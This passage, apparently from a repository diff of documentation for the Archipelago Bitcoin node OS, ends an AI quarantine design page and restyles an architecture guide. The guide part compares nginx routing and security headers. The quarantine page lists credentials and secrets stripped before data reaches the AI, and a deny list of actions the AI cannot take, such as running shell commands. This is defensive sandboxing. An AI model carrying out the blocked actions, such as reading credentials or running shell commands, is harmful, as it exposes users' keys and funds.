<ul>
<li>IP addresses (LAN, WAN)</li>
<li>Tor .onion addresses</li>
<li>Tailscale IPs</li>
<li>Peer connection details</li>
<li>MAC addresses</li>
</ul>
</div>
<div class="card card-red">
<h4>Credentials</h4>
<ul>
<li>SSH passwords / keys</li>
<li>RPC usernames/passwords</li>
<li>API tokens</li>
<li>Session cookies</li>
<li>OAuth tokens</li>
</ul>
</div>
<div class="card card-red">
<h4>Sensitive Data</h4>
<ul>
<li>Transaction history</li>
<li>Bitcoin addresses (receive/change)</li>
<li>UTXO set</li>
<li>File contents (unless explicitly permitted)</li>
<li>Environment variables</li>
</ul>
</div>
</div>
<!-- ───────────────── ACTIONS ───────────────── -->
<h2 id="actions"><span class="num">10</span> Permitted Actions</h2>
<p>The AI can request a limited set of actions through the Context Broker. Each action is validated and requires the relevant permission category to be enabled.</p>
<table>
<thead><tr><th>Action</th><th>What It Does</th><th>Requires Permission</th></tr></thead>
<tbody>
<tr><td><code>open-app</code></td><td>Dispatches event to open an installed app</td><td><em>None (navigation)</em></td></tr>
<tr><td><code>navigate</code></td><td>Navigate to a path within Archy UI</td><td><em>None (navigation)</em></td></tr>
<tr><td><code>install-app</code></td><td>Installs an app from marketplace</td><td><em>None</em></td></tr>
<tr><td><code>search-web</code></td><td>Searches via local SearXNG instance</td><td><code>search</code></td></tr>
<tr><td><code>read-file</code></td><td>Reads a file from FileBrowser (Cloud)</td><td><code>files</code></td></tr>
<tr><td><code>tail-logs</code></td><td>Gets recent log lines for an app</td><td><code>apps</code></td></tr>
</tbody>
</table>
<div class="card card-red">
<h4>Actions the AI CANNOT perform</h4>
<ul>
<li>Execute shell commands</li>
<li>Call backend RPC endpoints directly</li>
<li>Modify container configs</li>
<li>Access the filesystem outside FileBrowser</li>
<li>Send Bitcoin transactions</li>
<li>Open/close Lightning channels</li>
<li>Modify system settings</li>
<li>Access other users' data</li>
</ul>
</div>
<!-- ───────────────── BUGS ───────────────── -->
<h2 id="bugs"><span class="num">11</span> Current Bugs &amp; Issues</h2>
<div class="card card-red">
<h4>"messages.6: user messages must have non-empty content" error</h4>
<p>This Anthropic API 400 error occurs when replying in the chat. The AIUI client is sending a message array where one of the user messages has empty content (likely an empty string or the reply content isn't being properly included in the messages array). This is a bug in the AIUI chat message construction, not a quarantine issue.</p>
</div>
<div class="card card-orange">
<h4>Inconsistent node awareness</h4>
<p>The AI sometimes says "I don't have access to your Bitcoin node" even though Bitcoin data may be permitted. This happens because:</p>
<ul>
<li>The <code>bitcoin.getinfo</code> RPC call may fail (e.g., Bitcoin Knots RPC not configured in the backend)</li>
<li>When the RPC fails, the broker returns a minimal fallback: <code>{ available: true, status: 'running', network: 'mainnet' }</code></li>
<li>The system prompt context then shows limited info, and Claude responds conservatively</li>
<li>The <code>tail-logs</code> action could fetch Bitcoin logs, but Claude may not know to use it</li>
</ul>
</div>
<!-- ───────────────── FILES ───────────────── -->
<h2 id="files"><span class="num">12</span> Source File Reference</h2>
<table>
<thead><tr><th>File</th><th>Role</th></tr></thead>
<tbody>
<tr><td><code>neode-ui/src/services/contextBroker.ts</code></td><td>The quarantine gate &mdash; validates, checks permissions, sanitizes all data</td></tr>
<tr><td><code>neode-ui/src/types/aiui-protocol.ts</code></td><td>Strict TypeScript protocol definition for all messages</td></tr>
<tr><td><code>neode-ui/src/stores/aiPermissions.ts</code></td><td>Pinia store for per-category permission toggles</td></tr>
<tr><td><code>neode-ui/src/views/Chat.vue</code></td><td>Iframe host with sandbox attribute</td></tr>
<tr><td><code>neode-ui/src/views/Settings.vue</code></td><td>AI Data Access toggles UI</td></tr>
<tr><td><code>apps/aiui/manifest.yml</code></td><td>Container security config (isolated network, readonly root)</td></tr>
<tr><td><code>image-recipe/configs/nginx-archipelago.conf</code></td><td>Nginx routes with session cookie auth gate</td></tr>
<tr><td><code>AIUI/packages/app/src/services/archyBridge.ts</code></td><td>AIUI-side postMessage client (the only way AIUI talks to Archy)</td></tr>
<tr><td><code>AIUI/packages/app/src/composables/useArchy.ts</code></td><td>Vue composable wrapping archyBridge + <code>buildArchyContext()</code></td></tr>
</tbody>
</table>
<div class="card card-green" style="margin-top: 2rem;">
<h4>Summary: 6 Layers of Defense</h4>
<ol>
<li><strong>Container</strong> &mdash; Podman with isolated network, read-only FS, zero capabilities</li>
<li><strong>Iframe sandbox</strong> &mdash; Browser-enforced isolation, no popups, no parent DOM access</li>
<li><strong>Context Broker</strong> &mdash; Single postMessage gate with origin validation</li>
<li><strong>Permissions</strong> &mdash; Per-category toggles, all OFF by default</li>
<li><strong>Sanitization</strong> &mdash; Dedicated functions strip sensitive fields per category</li>
<li><strong>Proxy auth</strong> &mdash; Nginx session cookie check + CSP headers</li>
</ol>
<p style="margin-top: 1rem; color: var(--text-muted);">The AI is treated as untrusted. It can only see what you explicitly permit, and even then, sensitive fields are stripped before the data ever reaches Claude's API.</p>
</div>
<p style="text-align: center; color: var(--text-muted); margin-top: 3rem; padding-top: 1.5rem; border-top: 1px solid var(--border); font-size: 0.85rem;">
Archipelago AI Quarantine Architecture &mdash; Generated 2026-03-06 &mdash; v1.0.0
</p>
</body>
</html>

View File

@@ -6,33 +6,39 @@
<title>Archipelago — Architecture Review & Learning Guide</title>
<style>
:root {
--bg: #0a0a0f;
--surface: #12121a;
--surface-2: #1a1a26;
--border: rgba(255,255,255,0.08);
--border-bright: rgba(255,255,255,0.15);
--text: rgba(255,255,255,0.88);
--text-muted: rgba(255,255,255,0.55);
--bg: #000000;
--glass-card: rgba(0, 0, 0, 0.65);
--glass-dark: rgba(0, 0, 0, 0.35);
--glass-darker: rgba(0, 0, 0, 0.6);
--glass-border: rgba(255, 255, 255, 0.18);
--glass-highlight: rgba(255, 255, 255, 0.22);
--glass-blur: 18px;
--glass-blur-strong: 24px;
--shadow-glass: 0 8px 24px rgba(0, 0, 0, 0.45);
--shadow-glass-inset: inset 0 1px 0 rgba(255, 255, 255, 0.22);
--text: rgba(255, 255, 255, 0.9);
--text-muted: rgba(255, 255, 255, 0.6);
--accent: #fb923c;
--accent-dim: rgba(251,146,60,0.15);
--accent-dim: rgba(251, 146, 60, 0.15);
--green: #4ade80;
--green-dim: rgba(74,222,128,0.12);
--green-dim: rgba(74, 222, 128, 0.15);
--red: #ef4444;
--red-dim: rgba(239,68,68,0.12);
--red-dim: rgba(239, 68, 68, 0.12);
--blue: #3b82f6;
--blue-dim: rgba(59,130,246,0.12);
--blue-dim: rgba(59, 130, 246, 0.12);
--yellow: #facc15;
--yellow-dim: rgba(250,204,21,0.12);
--yellow-dim: rgba(250, 204, 21, 0.12);
--purple: #a78bfa;
--purple-dim: rgba(167,139,250,0.12);
--glass: rgba(255,255,255,0.04);
--radius: 12px;
--purple-dim: rgba(167, 139, 250, 0.12);
--radius: 16px;
--radius-sm: 12px;
--transition: 0.3s cubic-bezier(0.4, 0, 0.2, 1);
}
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif;
font-family: 'Avenir Next', system-ui, -apple-system, sans-serif;
background: var(--bg);
color: var(--text);
line-height: 1.7;
@@ -46,22 +52,25 @@
left: 0;
width: 280px;
height: 100vh;
background: var(--surface);
border-right: 1px solid var(--border);
background: var(--glass-card);
backdrop-filter: blur(var(--glass-blur-strong));
-webkit-backdrop-filter: blur(var(--glass-blur-strong));
border-right: 1px solid var(--glass-border);
box-shadow: var(--shadow-glass);
overflow-y: auto;
padding: 24px 0;
z-index: 100;
scrollbar-width: thin;
scrollbar-color: var(--border-bright) transparent;
scrollbar-color: rgba(255,255,255,0.15) transparent;
}
nav .logo {
padding: 0 24px 20px;
border-bottom: 1px solid var(--border);
margin-bottom: 16px;
}
nav .logo h1 {
font-family: 'Montserrat', 'Avenir Next', sans-serif;
font-size: 18px;
font-weight: 700;
color: var(--accent);
@@ -89,13 +98,13 @@
color: var(--text-muted);
text-decoration: none;
font-size: 13px;
transition: all 0.2s;
transition: all var(--transition);
border-left: 2px solid transparent;
}
nav a:hover, nav a.active {
color: var(--text);
background: var(--glass);
background: rgba(255, 255, 255, 0.06);
border-left-color: var(--accent);
}
@@ -107,18 +116,19 @@
}
h2 {
font-family: 'Montserrat', 'Avenir Next', sans-serif;
font-size: 28px;
font-weight: 700;
margin: 64px 0 8px;
padding-top: 24px;
color: var(--text);
letter-spacing: -0.02em;
border-top: 1px solid var(--border);
}
h2:first-of-type { border-top: none; margin-top: 0; }
h2:first-of-type { margin-top: 0; }
h3 {
font-family: 'Montserrat', 'Avenir Next', sans-serif;
font-size: 20px;
font-weight: 600;
margin: 40px 0 12px;
@@ -148,6 +158,7 @@
}
.hero h1 {
font-family: 'Montserrat', 'Avenir Next', sans-serif;
font-size: 42px;
font-weight: 800;
background: linear-gradient(135deg, var(--accent), #f59e0b);
@@ -177,14 +188,20 @@
font-size: 12px;
padding: 4px 12px;
border-radius: 999px;
border: 1px solid var(--border-bright);
background: var(--glass-dark);
backdrop-filter: blur(var(--glass-blur));
-webkit-backdrop-filter: blur(var(--glass-blur));
border: 1px solid var(--glass-border);
color: var(--text-muted);
}
/* ─── Cards ─── */
/* ─── Cards (Glass) ─── */
.card {
background: var(--surface);
border: 1px solid var(--border);
background: var(--glass-card);
backdrop-filter: blur(var(--glass-blur));
-webkit-backdrop-filter: blur(var(--glass-blur));
border: 1px solid var(--glass-border);
box-shadow: var(--shadow-glass), var(--shadow-glass-inset);
border-radius: var(--radius);
padding: 24px;
margin: 16px 0;
@@ -198,10 +215,19 @@
}
.card-sm {
background: var(--surface);
border: 1px solid var(--border);
background: var(--glass-darker);
backdrop-filter: blur(var(--glass-blur-strong));
-webkit-backdrop-filter: blur(var(--glass-blur-strong));
border: 1px solid var(--glass-border);
box-shadow: var(--shadow-glass), var(--shadow-glass-inset);
border-radius: var(--radius);
padding: 16px 20px;
transition: transform var(--transition), box-shadow var(--transition);
}
.card-sm:hover {
transform: translateY(-2px);
box-shadow: 0 12px 32px rgba(0, 0, 0, 0.6), inset 0 1px 0 rgba(255, 255, 255, 0.25);
}
.card-sm h4 { margin: 0 0 6px; font-size: 14px; }
@@ -228,50 +254,62 @@
/* ─── Tables ─── */
table {
width: 100%;
border-collapse: collapse;
border-collapse: separate;
border-spacing: 0;
margin: 16px 0;
font-size: 14px;
background: var(--glass-card);
backdrop-filter: blur(var(--glass-blur));
-webkit-backdrop-filter: blur(var(--glass-blur));
border: 1px solid var(--glass-border);
border-radius: var(--radius-sm);
overflow: hidden;
box-shadow: var(--shadow-glass);
}
th {
text-align: left;
padding: 10px 14px;
background: var(--surface-2);
background: rgba(0, 0, 0, 0.4);
color: var(--text-muted);
font-weight: 600;
font-size: 12px;
text-transform: uppercase;
letter-spacing: 0.05em;
border-bottom: 1px solid var(--border);
border-bottom: 1px solid var(--glass-border);
}
td {
padding: 10px 14px;
border-bottom: 1px solid var(--border);
border-bottom: 1px solid rgba(255, 255, 255, 0.06);
vertical-align: top;
}
tr:hover td { background: var(--glass); }
tr:last-child td { border-bottom: none; }
tr:hover td { background: rgba(255, 255, 255, 0.04); }
/* ─── Code ─── */
code {
font-family: 'JetBrains Mono', 'Fira Code', monospace;
font-family: 'Menlo', 'Monaco', 'Courier New', monospace;
font-size: 13px;
background: var(--surface-2);
background: rgba(0, 0, 0, 0.4);
padding: 2px 6px;
border-radius: 4px;
color: var(--accent);
}
pre {
background: var(--surface);
border: 1px solid var(--border);
border-radius: var(--radius);
background: var(--glass-card);
backdrop-filter: blur(var(--glass-blur));
-webkit-backdrop-filter: blur(var(--glass-blur));
border: 1px solid var(--glass-border);
border-radius: var(--radius-sm);
padding: 20px;
overflow-x: auto;
margin: 16px 0;
font-size: 13px;
line-height: 1.6;
box-shadow: var(--shadow-glass);
}
pre code {
@@ -287,13 +325,16 @@
/* ─── Diagrams (ASCII art in pre) ─── */
.diagram {
background: var(--surface);
border: 1px solid var(--border-bright);
background: var(--glass-card);
backdrop-filter: blur(var(--glass-blur-strong));
-webkit-backdrop-filter: blur(var(--glass-blur-strong));
border: 1px solid var(--glass-border);
box-shadow: var(--shadow-glass), var(--shadow-glass-inset);
border-radius: var(--radius);
padding: 24px;
margin: 20px 0;
overflow-x: auto;
font-family: 'JetBrains Mono', monospace;
font-family: 'Menlo', 'Monaco', monospace;
font-size: 13px;
line-height: 1.5;
color: var(--text-muted);
@@ -307,18 +348,23 @@
/* ─── Callouts ─── */
.callout {
border-radius: var(--radius);
background: var(--glass-card);
backdrop-filter: blur(var(--glass-blur));
-webkit-backdrop-filter: blur(var(--glass-blur));
border: 1px solid var(--glass-border);
border-radius: var(--radius-sm);
padding: 16px 20px;
margin: 16px 0;
font-size: 14px;
border-left: 3px solid;
box-shadow: var(--shadow-glass);
}
.callout-info { background: var(--blue-dim); border-color: var(--blue); }
.callout-warn { background: var(--yellow-dim); border-color: var(--yellow); }
.callout-danger { background: var(--red-dim); border-color: var(--red); }
.callout-success { background: var(--green-dim); border-color: var(--green); }
.callout-learn { background: var(--purple-dim); border-color: var(--purple); }
.callout-info { border-color: var(--blue); }
.callout-warn { border-color: var(--yellow); }
.callout-danger { border-color: var(--red); }
.callout-success { border-color: var(--green); }
.callout-learn { border-color: var(--purple); }
.callout strong { display: block; margin-bottom: 4px; }
@@ -331,14 +377,21 @@
}
.score-card {
background: var(--surface);
border: 1px solid var(--border);
background: var(--glass-darker);
backdrop-filter: blur(var(--glass-blur));
-webkit-backdrop-filter: blur(var(--glass-blur));
border: 1px solid var(--glass-border);
box-shadow: var(--shadow-glass), var(--shadow-glass-inset);
border-radius: var(--radius);
padding: 16px;
text-align: center;
transition: transform var(--transition);
}
.score-card:hover { transform: translateY(-2px); }
.score-card .score {
font-family: 'Montserrat', 'Avenir Next', sans-serif;
font-size: 32px;
font-weight: 800;
margin: 4px 0;
@@ -362,11 +415,14 @@
/* ─── Analogy boxes ─── */
.analogy {
background: var(--purple-dim);
border: 1px solid rgba(167,139,250,0.2);
border-radius: var(--radius);
background: var(--glass-card);
backdrop-filter: blur(var(--glass-blur));
-webkit-backdrop-filter: blur(var(--glass-blur));
border: 1px solid rgba(167, 139, 250, 0.25);
border-radius: var(--radius-sm);
padding: 20px;
margin: 16px 0;
box-shadow: var(--shadow-glass);
}
.analogy::before {
@@ -397,7 +453,7 @@
/* ─── Separator ─── */
hr {
border: none;
border-top: 1px solid var(--border);
border-top: 1px solid rgba(255, 255, 255, 0.06);
margin: 40px 0;
}
@@ -425,6 +481,139 @@
.flow-step .content { flex: 1; }
.flow-step .content strong { color: var(--accent); }
.flow-step .content p { margin: 0; font-size: 14px; }
/* ─── Comparison helpers ─── */
.check { color: var(--green); font-weight: 700; }
.cross { color: var(--red); opacity: 0.7; }
.partial { color: var(--yellow); }
td.archy-col { background: var(--accent-dim); }
th.archy-col { color: var(--accent); background: var(--accent-dim); }
.card-sm .item-list { margin: 0; padding-left: 16px; }
.card-sm .item-list li { font-size: 13px; margin: 4px 0; color: var(--text-muted); }
/* ─── Theme toggle ─── */
.theme-toggle {
display: flex;
align-items: center;
justify-content: center;
gap: 8px;
margin: 16px 16px 8px;
padding: 8px 12px;
background: rgba(255, 255, 255, 0.06);
border: 1px solid rgba(255, 255, 255, 0.08);
border-radius: 8px;
color: var(--text-muted);
font-size: 12px;
font-weight: 500;
cursor: pointer;
transition: all var(--transition);
}
.theme-toggle:hover {
background: rgba(255, 255, 255, 0.1);
color: var(--text);
}
.theme-toggle .icon { font-size: 14px; }
/* ─── Light mode ─── */
[data-theme="light"] {
--bg: #FAFAFA;
--glass-card: rgba(255, 255, 255, 0.7);
--glass-dark: rgba(255, 255, 255, 0.5);
--glass-darker: rgba(255, 255, 255, 0.65);
--glass-border: rgba(0, 0, 0, 0.1);
--glass-highlight: rgba(255, 255, 255, 0.8);
--shadow-glass: 0 8px 24px rgba(0, 0, 0, 0.08);
--shadow-glass-inset: inset 0 1px 0 rgba(255, 255, 255, 0.9);
--text: rgba(0, 0, 0, 0.88);
--text-muted: rgba(0, 0, 0, 0.5);
--accent: #ea7c1f;
--accent-dim: rgba(234, 124, 31, 0.1);
--green: #16a34a;
--green-dim: rgba(22, 163, 74, 0.1);
--red: #dc2626;
--red-dim: rgba(220, 38, 38, 0.08);
--blue: #2563eb;
--blue-dim: rgba(37, 99, 235, 0.08);
--yellow: #ca8a04;
--yellow-dim: rgba(202, 138, 4, 0.08);
--purple: #7c3aed;
--purple-dim: rgba(124, 58, 237, 0.08);
}
[data-theme="light"] body { background: var(--bg); }
[data-theme="light"] nav {
background: rgba(255, 255, 255, 0.8);
border-right-color: rgba(0, 0, 0, 0.08);
box-shadow: 0 0 24px rgba(0, 0, 0, 0.06);
}
[data-theme="light"] nav a:hover,
[data-theme="light"] nav a.active {
background: rgba(0, 0, 0, 0.04);
}
[data-theme="light"] th {
background: rgba(0, 0, 0, 0.04);
color: rgba(0, 0, 0, 0.55);
border-bottom-color: rgba(0, 0, 0, 0.08);
}
[data-theme="light"] td {
border-bottom-color: rgba(0, 0, 0, 0.06);
}
[data-theme="light"] tr:hover td {
background: rgba(0, 0, 0, 0.02);
}
[data-theme="light"] code {
background: rgba(0, 0, 0, 0.06);
color: #c2410c;
}
[data-theme="light"] .hero h1 {
background: linear-gradient(135deg, #c2410c, #ea580c);
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
}
[data-theme="light"] .hero .meta span {
background: rgba(0, 0, 0, 0.04);
border-color: rgba(0, 0, 0, 0.1);
color: rgba(0, 0, 0, 0.55);
}
[data-theme="light"] .analogy {
border-color: rgba(124, 58, 237, 0.2);
}
[data-theme="light"] .theme-toggle {
background: rgba(0, 0, 0, 0.04);
border-color: rgba(0, 0, 0, 0.08);
}
[data-theme="light"] .theme-toggle:hover {
background: rgba(0, 0, 0, 0.08);
}
[data-theme="light"] .diagram { color: rgba(0, 0, 0, 0.5); }
[data-theme="light"] hr { border-top-color: rgba(0, 0, 0, 0.08); }
[data-theme="light"] .score-card .score { filter: none; }
/* ─── Reduce motion ─── */
@media (prefers-reduced-motion: reduce) {
*, *::before, *::after {
animation-duration: 0.01ms !important;
transition-duration: 0.01ms !important;
}
}
</style>
</head>
<body>
@@ -436,6 +625,11 @@
<p>Architecture Review & Guide</p>
</div>
<button class="theme-toggle" onclick="toggleTheme()" aria-label="Toggle light/dark mode">
<span class="icon" id="theme-icon">&#9790;</span>
<span id="theme-label">Light mode</span>
</button>
<div class="nav-section">Overview</div>
<a href="#what-is-it">What Is Archipelago?</a>
<a href="#big-picture">The Big Picture</a>
@@ -794,25 +988,375 @@ Body: { <span class="string">"method"</span>: <span class="string">"package.inst
<h3 id="nginx">Layer 4: Nginx (The Traffic Cop)</h3>
<p><strong>Nginx</strong> (pronounced "engine-X") is a web server that sits between the internet and everything else. Every single request goes through it first.</p>
<p><strong>Nginx</strong> (pronounced "engine-X") is a web server that sits between the internet and everything else. Every single request goes through it first. Archipelago's nginx config is ~1,100 lines — one of the most complex parts of the system.</p>
<div class="analogy">
<p>Nginx is like the receptionist at a hospital. You walk in and say what you need. "I need the API" — they send you to the Rust backend. "I need the Bitcoin app" — they send you to the Bitcoin container. "I need the website" — they hand you the static files. Without the receptionist, you'd be wandering the hallways lost.</p>
</div>
<h4>How Nginx routes traffic</h4>
<!-- ─── Comparison: Why Nginx? ─── -->
<h4>Why Nginx? Comparing Reverse Proxies</h4>
<p>Every node OS needs a reverse proxy to route traffic. Here's how the major projects differ:</p>
<div class="card-grid">
<div class="card-sm" style="border-color: var(--accent); border-width: 2px;">
<h4>Nginx <span class="badge badge-accent">Archipelago</span></h4>
<p><span class="check">&#10003;</span> Battle-tested (30+ years)<br>
<span class="check">&#10003;</span> Sub-millisecond routing<br>
<span class="check">&#10003;</span> Fine-grained rate limiting<br>
<span class="check">&#10003;</span> sub_filter HTML rewriting<br>
<span class="check">&#10003;</span> Full CSP / HSTS control<br>
<span class="partial">~</span> Manual config (1,100 lines)<br>
<span class="cross">&#10007;</span> No auto-TLS (manual certs)</p>
</div>
<div class="card-sm">
<h4>Caddy <span class="badge badge-blue">Umbrel</span></h4>
<p><span class="check">&#10003;</span> Automatic HTTPS / Let's Encrypt<br>
<span class="check">&#10003;</span> Simple Caddyfile syntax<br>
<span class="check">&#10003;</span> Built-in HTTP/3 support<br>
<span class="cross">&#10007;</span> No sub_filter (needs plugins)<br>
<span class="cross">&#10007;</span> Higher memory footprint<br>
<span class="cross">&#10007;</span> Less granular rate limiting<br>
<span class="partial">~</span> Newer, smaller ecosystem</p>
</div>
<div class="card-sm">
<h4>Tor-only <span class="badge badge-purple">StartOS</span></h4>
<p><span class="check">&#10003;</span> Maximum privacy (no clearnet)<br>
<span class="check">&#10003;</span> No port forwarding needed<br>
<span class="check">&#10003;</span> Built-in NAT traversal<br>
<span class="cross">&#10007;</span> Slow (500ms3s latency)<br>
<span class="cross">&#10007;</span> No LAN access without config<br>
<span class="cross">&#10007;</span> Requires .onion browser support<br>
<span class="cross">&#10007;</span> No WebSocket over Tor (flaky)</p>
</div>
<div class="card-sm">
<h4>NixOS Module <span class="badge badge-green">Nix-Bitcoin</span></h4>
<p><span class="check">&#10003;</span> Declarative, reproducible<br>
<span class="check">&#10003;</span> Atomic rollbacks<br>
<span class="check">&#10003;</span> Any proxy (Nginx/Caddy/HAProxy)<br>
<span class="partial">~</span> Steep learning curve (Nix lang)<br>
<span class="cross">&#10007;</span> No web UI (CLI only)<br>
<span class="cross">&#10007;</span> Not beginner-friendly<br>
<span class="cross">&#10007;</span> Long rebuild times</p>
</div>
</div>
<div class="callout callout-info">
<strong>Archipelago's choice:</strong> Nginx gives the most control over security headers, rate limiting, and HTML rewriting (injecting Nostr provider scripts into app iframes). The tradeoff is a 1,100-line config instead of a 50-line Caddyfile — but for a Bitcoin node OS, that control is worth it.
</div>
<!-- ─── Full Comparison Table ─── -->
<h4>Head-to-Head: Architecture Decisions</h4>
<table>
<tr><th>URL Pattern</th><th>Goes To</th><th>Why</th></tr>
<tr><td><code>/rpc/v1</code></td><td>Rust backend (:5678)</td><td>All API calls</td></tr>
<tr><td><code>/health</code></td><td>Rust backend (:5678)</td><td>Health checks (no auth needed)</td></tr>
<tr><td><code>/app/bitcoin-ui/</code></td><td>Bitcoin container (:8334)</td><td>Bitcoin web interface</td></tr>
<tr><td><code>/app/mempool/</code></td><td>Mempool container (:4080)</td><td>Mempool explorer</td></tr>
<tr><td><code>/app/filebrowser/</code></td><td>FileBrowser container (:8083)</td><td>File manager</td></tr>
<tr><td><code>/aiui/</code></td><td>Static files on disk</td><td>AI chat interface</td></tr>
<tr><td><code>/</code> (everything else)</td><td>Vue.js SPA files on disk</td><td>The main dashboard</td></tr>
<tr>
<th>Feature</th>
<th class="archy-col">Archipelago</th>
<th>Umbrel</th>
<th>StartOS</th>
<th>Nix-Bitcoin</th>
<th>RaspiBlitz</th>
</tr>
<tr>
<td>Reverse Proxy</td>
<td class="archy-col"><strong>Nginx</strong></td>
<td>Caddy</td>
<td>Tor hidden svc</td>
<td>Nginx (Nix module)</td>
<td>Nginx</td>
</tr>
<tr>
<td>Backend</td>
<td class="archy-col"><strong>Rust</strong></td>
<td>Node.js + Go</td>
<td>Rust (startos)</td>
<td>Shell/Nix</td>
<td>Shell scripts</td>
</tr>
<tr>
<td>Containers</td>
<td class="archy-col"><strong>Rootless Podman</strong></td>
<td>Docker (root)</td>
<td>Docker (root)</td>
<td>None (native pkgs)</td>
<td>Docker (root)</td>
</tr>
<tr>
<td>TLS/HTTPS</td>
<td class="archy-col"><strong>Self-signed + HSTS</strong></td>
<td>Auto (Let's Encrypt)</td>
<td>Tor-only (no TLS)</td>
<td>Let's Encrypt</td>
<td>Self-signed</td>
</tr>
<tr>
<td>Rate Limiting</td>
<td class="archy-col"><strong>Dual-zone (RPC 20r/s + Auth 3r/s)</strong></td>
<td>None</td>
<td>None</td>
<td>Optional (manual)</td>
<td>None</td>
</tr>
<tr>
<td>Security Headers</td>
<td class="archy-col"><strong>Full CSP + HSTS + Permissions</strong></td>
<td>Basic</td>
<td>N/A (Tor)</td>
<td>Configurable</td>
<td>Minimal</td>
</tr>
<tr>
<td>App Isolation</td>
<td class="archy-col"><strong>Cap-drop, readonly root, non-root UID</strong></td>
<td>Docker defaults</td>
<td>Docker + sandboxing</td>
<td>systemd sandboxing</td>
<td>Docker defaults</td>
</tr>
<tr>
<td>LAN + Remote</td>
<td class="archy-col"><strong>LAN + Tailscale + Tor</strong></td>
<td>LAN + Tor + Tailscale</td>
<td>Tor-only (LAN optional)</td>
<td>LAN + WireGuard</td>
<td>LAN + Tor</td>
</tr>
<tr>
<td>WebSocket</td>
<td class="archy-col"><strong>Native (24h timeout)</strong></td>
<td>Polling + WS</td>
<td>SSE over Tor</td>
<td>N/A</td>
<td>Polling</td>
</tr>
<tr>
<td>App UI Injection</td>
<td class="archy-col"><strong>sub_filter (Nostr NIP-07)</strong></td>
<td>None</td>
<td>None</td>
<td>N/A</td>
<td>None</td>
</tr>
</table>
<p>Nginx also handles <strong>rate limiting</strong> (blocking too many requests), <strong>security headers</strong> (preventing attacks), and <strong>WebSocket upgrades</strong> (for real-time updates).</p>
<!-- ─── Routing Map ─── -->
<h4>How Nginx Routes Traffic</h4>
<p>The config defines 30+ <code>location</code> blocks across HTTP (port 80) and HTTPS (port 443). Here are the major routing categories:</p>
<div class="card">
<h4>Backend & API Routes</h4>
<table>
<tr><th>URL Pattern</th><th>Backend</th><th>Rate Limit</th><th>Timeout</th><th>Purpose</th></tr>
<tr><td><code>/rpc/</code></td><td>:5678</td><td>20r/s (burst 40)</td><td>600s</td><td>All RPC API calls (1MB body limit)</td></tr>
<tr><td><code>/ws</code></td><td>:5678</td><td></td><td>86,400s (24h)</td><td>WebSocket — real-time state updates</td></tr>
<tr><td><code>/health</code></td><td>:5678</td><td></td><td>default</td><td>Health check (no auth)</td></tr>
<tr><td><code>/archipelago/</code></td><td>:5678</td><td></td><td>default</td><td>System endpoints</td></tr>
<tr><td><code>/content</code></td><td>:5678</td><td></td><td>default</td><td>Peer content sharing</td></tr>
<tr><td><code>/dwn</code></td><td>:5678</td><td></td><td>default</td><td>Decentralized Web Node</td></tr>
<tr><td><code>/electrs-status</code></td><td>:5678</td><td></td><td>default</td><td>Electrum sync status (CORS enabled)</td></tr>
<tr><td><code>/lnd-connect-info</code></td><td>:5678</td><td></td><td>default</td><td>LND connection URI (CORS enabled)</td></tr>
</table>
</div>
<div class="card">
<h4>App Proxies — 24 Container Apps</h4>
<p>Every <code>/app/{id}/</code> route proxies into a container. All share a common pattern: strip the upstream <code>X-Frame-Options</code>, set <code>SAMEORIGIN</code>, inject the Nostr provider script, and forward real IP headers.</p>
<table>
<tr><th>App</th><th>Port</th><th>Special Config</th></tr>
<tr><td><code>bitcoin-ui</code></td><td>8334</td><td></td></tr>
<tr><td><code>mempool</code></td><td>4080</td><td>300s timeouts</td></tr>
<tr><td><code>lnd</code></td><td>8081</td><td>300s timeouts</td></tr>
<tr><td><code>electrumx</code></td><td>50002</td><td></td></tr>
<tr><td><code>btcpay</code></td><td>23000</td><td></td></tr>
<tr><td><code>fedimint</code></td><td>8175</td><td>300s timeouts</td></tr>
<tr><td><code>fedimint-gateway</code></td><td>8176</td><td>300s timeouts</td></tr>
<tr><td><code>filebrowser</code></td><td>8083</td><td>10GB uploads, path traversal blocking</td></tr>
<tr><td><code>nextcloud</code></td><td>8085</td><td>300s timeouts</td></tr>
<tr><td><code>vaultwarden</code></td><td>8082</td><td></td></tr>
<tr><td><code>immich</code></td><td>2283</td><td>300s timeouts</td></tr>
<tr><td><code>jellyfin</code></td><td>8096</td><td></td></tr>
<tr><td><code>grafana</code></td><td>3000</td><td></td></tr>
<tr><td><code>portainer</code></td><td>9000</td><td></td></tr>
<tr><td><code>uptime-kuma</code></td><td>3001</td><td></td></tr>
<tr><td><code>searxng</code></td><td>8888</td><td></td></tr>
<tr><td><code>ollama</code></td><td>11434</td><td></td></tr>
<tr><td><code>indeedhub</code></td><td>7777</td><td>URL rewriting, WS, 30-day asset cache</td></tr>
<tr><td><code>homeassistant</code></td><td>8123</td><td>86,400s timeout (persistent)</td></tr>
<tr><td><code>penpot</code></td><td>9001</td><td>300s timeouts</td></tr>
<tr><td><code>photoprism</code></td><td>2342</td><td></td></tr>
<tr><td><code>onlyoffice</code></td><td>8044</td><td></td></tr>
<tr><td><code>endurain</code></td><td>8080</td><td></td></tr>
<tr><td><code>nginx-proxy-manager</code></td><td>8181</td><td></td></tr>
</table>
</div>
<div class="card">
<h4>AIUI Routes (AI Chat Interface)</h4>
<p>The AI chat UI has its own set of proxied API backends — all require a valid session cookie or return <code>401</code>.</p>
<table>
<tr><th>URL Pattern</th><th>Backend</th><th>Timeout</th><th>Purpose</th></tr>
<tr><td><code>/aiui/</code></td><td>Static files</td><td></td><td>Chat UI (no-cache for HTML)</td></tr>
<tr><td><code>/aiui/api/claude/</code></td><td>:3142</td><td>300s read</td><td>Claude proxy (streaming, no buffering)</td></tr>
<tr><td><code>/aiui/api/ollama/</code></td><td>:11434</td><td>300s read</td><td>Local Ollama model (streaming)</td></tr>
<tr><td><code>/aiui/api/openrouter/</code></td><td>openrouter.ai</td><td>120s</td><td>External AI API (SSL passthrough)</td></tr>
<tr><td><code>/aiui/api/web-search</code></td><td>:8888</td><td>30s</td><td>SearXNG search (503 JSON on failure)</td></tr>
</table>
</div>
<!-- ─── Security Headers Comparison ─── -->
<h4>Security Headers — How Archipelago Compares</h4>
<p>Security headers tell the browser what's allowed and what isn't. Here's what each node OS sends:</p>
<table>
<tr>
<th>Header</th>
<th class="archy-col">Archipelago</th>
<th>Umbrel</th>
<th>StartOS</th>
<th>RaspiBlitz</th>
</tr>
<tr>
